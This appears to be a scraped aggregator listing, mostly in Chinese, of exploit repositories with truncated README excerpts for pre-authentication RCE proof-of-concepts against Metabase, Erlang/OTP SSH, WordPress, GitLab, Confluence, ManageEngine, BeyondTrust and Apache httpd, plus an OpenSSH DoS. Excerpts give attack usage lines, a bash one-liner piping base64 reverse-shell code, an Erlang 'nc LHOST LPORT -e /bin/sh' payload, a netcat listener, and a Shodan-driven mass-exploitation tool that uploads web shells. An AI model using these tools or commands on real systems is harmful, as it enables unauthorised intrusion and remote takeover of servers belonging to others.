MetabaseRCE_CVE-2023-38646

Metabase 预认证 RCE CVE-2023-38646 PoC CVE-2023-38646 的概念验证，一种 Metabase 漏洞利用，允许用户利用在 /api/session/properties 中找到的设置令牌发送 base64 编码的有效负载来实现远程代码执行 使用方法 ./MetabaseRCECVE-2023-38646 -u target url -t target token -c command...

CVE-2026-29000-PoC-Exploit

🚀 CVE-2026-29000 - pac4j-jwt 身份验证绕过漏洞利用 CVE-2026-29000 - 通过 JWT alg:none + JWE 加密一键伪造管理员权限 📌 概述 该利用工具将 CVE-2026-29000 武器化，这是 pac4j-jwt 库中一个 CVSS 10.0 的严重漏洞。通过提取服务器的公共 JWKS 密钥，并使用 alg: none 伪造加密的 JWE 令牌，它可实现完全的身份验证绕过，一键授予完整的管理员权限。 🔥 核心特性 ✅ 无需任何身份验证 - 预认证利用，无需有效凭据 ✅ 自动 JWKS 发现 - 扫描 15+ 个端点，支持自定义路径...

cve-2025-32433

Erlang/OTP SSH 未授权盲 RCE（CVE-2025-32433）PoC 📜 描述 CVE-2025-32433 是 Erlang/OTP SSH 服务器中的一个严重未授权远程代码执行漏洞。在修复版本之前，SSH 守护进程会在认证完成前错误地处理通道消息，使得攻击者可以在未提供任何凭证的情况下打开通道并发送 exec 请求。任何嵌入了 Erlang/OTP SSH 服务器的应用程序（包括 Elixir、RabbitMQ、CouchDB 等）在 SSH 端口暴露时都会受到影响。 此 Go PoC 连接到目标 SSH 端口，发送构造的 SSHMSGCHANNELOPEN 后紧跟...

CVE-2023-38646

CVE-2023-38646 从kh4sh3i 复刻而来，去除了对 Burp Collector 的依赖。 CVE-2023-38646（Metabase 无预认证远程代码执行漏洞）： Metabase 开源版本 0.46.6.1 之前以及 Metabase Enterprise 1.46.6.1 之前的版本允许攻击者以服务器权限级别在服务器上执行任意命令。利用该漏洞无需认证。 使用方法 python3 CVE-2023-38646.py -u http://target.com -t 349fa13d-fd94-4d9b-b54f-b4ebf2df682f -i 10.10.15.10...

wp2shell-poc

这究竟是如何工作的 本 PoC 与公开的 wp2shell 漏洞利用有何不同 所有 PoC 都利用了相同的两个缺陷 - REST 批量路由混淆（CVE-2026-63030）和 authornotin SQL 注入（CVE-2026-60137）- 并采用相同的双重嵌套批次结构。 它们之间的区别在于所选择的远程代码执行（RCE）路径 、环境前置条件 ， 以及安全默认设置 。本文档具体说明了本仓库中的实现在这一格局中所处的位置。 简要概述 1. 在存在持久化对象缓存时依然有效。 公开的基于 UNION 的 PoC 使用 已填充基集的注入形式：这一系列所共享的全链实现在那里会出现假阴性，...

CVE-2018-16763

CVE 2018-16763 漏洞利用 简介 FUEL CMS 1.4.1 预认证远程代码执行（PreAuth-RCE） 演示 参考： https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

CVE-2023-38646

CVE-2023-38646-exploit "该漏洞被编号为 CVE-2023–38646，允许攻击者在无需任何身份验证的情况下在服务器上执行任意命令。" 一个针对 cve-2023-38646 的快速反向 Shell 漏洞利用脚本。 这个漏洞并非我发现的，我只是编写了这个脚本。 使用方法 root@kitploit: root@box:/CVE-2023-38646 python3 exploit.py / \ \ / / | | \ / \ | \ | \ / \ / /| || | / / | | \ \ / /| | | | | | | | | |/ /| || | / / |...

CVE-2026-39987

CVE-2026-39987 针对 Marimo 0.20.4 的 PoC ⚠️ 本工具仅用于教育目的和授权安全测试。创建者不对任何未经授权或非法使用负责。使用风险自负。 ⚠️ 信息： CVE-2026-39987 是 Marimo（0.23.0 之前的版本）中的一个严重的预认证远程代码执行（RCE）漏洞。 原理： /terminal/ws 端点未进行任何身份验证即被暴露。 位于： marimo/server/api/endpoints/terminal.py root@kitploit: @router.websocket"/ws" async def...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 GitLab 预认证 RCE（CVE-2021-22205）的单行 Bash PoC root@kitploit: t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2021-44077

CVE-2021-44077 CVE-2021-44077 的概念验证利用程序：ManageEngine ServiceDesk Plus msiexec.exe pip install 安装 requirements 文件，或确保已安装 requests 包。 如果你要接收反弹 shell，请先运行你的监听器，例如： root@kitploit: nc -l 4444 然后运行利用脚本，传入 url 和 exe 参数，例如： root@kitploit: python exploit.py http://: 示例脚本输出： root@kitploit: % python...

CVE-2026-64638

CVE-2026-64638 — XSS2Shell:WordPress 登录页预认证 XSS → 服务器 RCE HackSpeak 分发镜像。本仓库为 WordSec 发布的 XSS2Shell 教育用途 PoCCVE-2026-64638的分发镜像 ,代码与上游一致;上游为 MIT License,Copyright c 2026 WordSec 。 ⚠️ 仅供安全研究与授权测试使用 ,仅可对本人拥有或有书面授权评估的 WordPress 站点运行;PoC 会生成并清理临时发布物,请勿针对第三方管理员或生产系统。 漏洞简述 XSS2ShellCVE-2026-64638 是...

CVE-2025-3243

CVE-2025-32433 Erlang SSH 库漏洞利用程序 针对 CVE-2025-32433 的概念验证漏洞利用程序，这是 Erlang 的 SSH 库中的一个严重漏洞，允许通过格式错误的 SSHMSGCHANNELREQUEST 数据包在认证前执行代码。 功能特性 原始漏洞利用程序 由 Matthew Keeley 编写 更新版本 由 Tyler Ramsbey 编写： 针对 LHOST 、LPORT 、RHOST 和 RPORT 的命令行参数 通过 argparse 提供内置帮助和用法 使用 os:cmd"nc LHOST LPORT -e /bin/sh". 的 Erla...

cve-2025-26466-openssh-poc

CVE-2025-26466 OpenSSH SSH2MSGPING DoS PoC 免责声明： 此代码仅供教学目的 和授权安全测试使用。未经授权攻击他人系统属于违法行为。 漏洞 CVE-2025-26466 是 OpenSSH 中的一个预认证拒绝服务（DoS）漏洞，可在密钥交换完成前使 SSH 服务器过载。 技术细节 受影响版本： OpenSSH 9.9p2 之前的版本 类型： 预认证 DoS / 内存泄漏 利用方式： 在加密连接建立之前处理 SSH2MSGPING 数据包 服务器在初始握手期间就接受 SSH2MSGPING 数据包（消息类型 192），而无需存在已认证的连接。这会导致...

CVE-2022-26134

CVE-2022-26134 CVE-2022-26134 - Confluence 预认证 RCE | OGNL 注入 下载 PoC 脚本 root@kitploit: git clone https://github.com/crowsec-edtech/CVE-2022-26134 cd CVE-2022-26134 运行漏洞利用 root@kitploit: USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com id Ex: python3 exploit....

Mass-exploit-CVE-2022-29464

喵喵喵！ 只是一个基于 Python PoC 的批量利用工具，针对 WSO2 Carbon Server CVE-2022-29464 未认证 RCE 漏洞 CVE-2022-29464. 喵喵喵？要求？ Python3 Shodan Zoomeye 一个大脑 这是什么工具？ 这是一个针对 CVE-2022-29464 的批量自动扫描利用工具，基于第三方用 Python 编写的 PoC。 Py 文件可用且可读，另请参见 bash 脚本，它不包含任何编码字符串。 Massexploit 会上传一个 shell 和一个反弹 shell，并打印出访问路径。简单、快速、酷。...

wp2shell

wp2shell 针对 WordPress 6.9.0–6.9.4 和 7.0.0–7.0.1 的预认证远程代码执行。 将 CVE-2026-63030（批量路由混乱 SQL 注入）与 CVE-2026-60137（自定义器变更集重入）串联，实现未认证管理员创建和操作系统命令执行。无需破解密码。 特别感谢 hashkitten 的发现，完整技术分析见 此处。 漏洞 WordPress 的 REST API 批量处理器（servebatchrequestv1）存在一个差一（off-by-one）索引 bug：当 wpparseurl 在子请求路径上失败时，产生的 WPError 会被推入...

CVE-2026-63030-Wp2Shell

CVE-2026-63030 wp2shell — RCE pre-autenticación en WordPress Core Confusión de rutas por lotes de la API REST encadenada con la inyección SQL CVE-2026-60137 TL;DR — Un atacante no autenticado puede encadenar un error de enrutamiento por lotes de la API REST de WordPress con una inyección SQL en...

CVE-2026-1731

CVE-2026-1731 BeyondTrust Remote Support 预认证RCE PoC !WARNING 此脚本仅供教育和研究目的 。未经明确许可 ，请勿将其用于任何系统。未经授权的访问或测试是非法且不道德的。使用此脚本前请阅读完整的免责声明。 概述 此脚本演示了一个影响BeyondTrust Remote Support RS 和 Privileged Remote Access PRA 的严重命令注入漏洞（CVE-2026-1731）。该问题源于与之前高调披露的 CVE-2024-12356 相同的 WebSocket 可达端点，因此是紧密相关的变体。...

CVE-2018-16763

CVE-2018-16763 分析器 CVE-2018-16763 分析器是一个小型 Python 项目，用于分析针对 FUEL CMS 目标的 CVE-2018-16763 。它专注于检查目标是否疑似存在漏洞，并在应用程序响应嘈杂时以更清晰、更易读的方式显示命令输出。 该项目有意保持轻量级和交互性。旨在使测试和响应解析更容易，同时不将该仓库变成一个大型框架。 根据美国国家漏洞数据库（NVD），FUEL CMS 1.4.1 允许通过 pages/select/ 的 filter 参数或 preview/ 的 data 参数进行 PHP 代码评估，这可能导致 未认证远程代码执行 。NVD...

CVE-2026-23918

CVE-2026-23918 Apache httpd 的 modhttp2 流清理中存在双重释放漏洞，可导致预认证 RCE。 受影响版本：启用 modhttp2 和多线程 MPM（event/worker）的 httpd 2.4.66。 修复版本：2.4.67。 由 Bartlomiej Dmitruk striga.ai 和 Stanislaw Strzalkowski isec.pl 发现并报告。 技术分析：https://striga.ai/research/apache-httpd-mod-http2-double-free 环境要求 Docker Python 3 使用方法...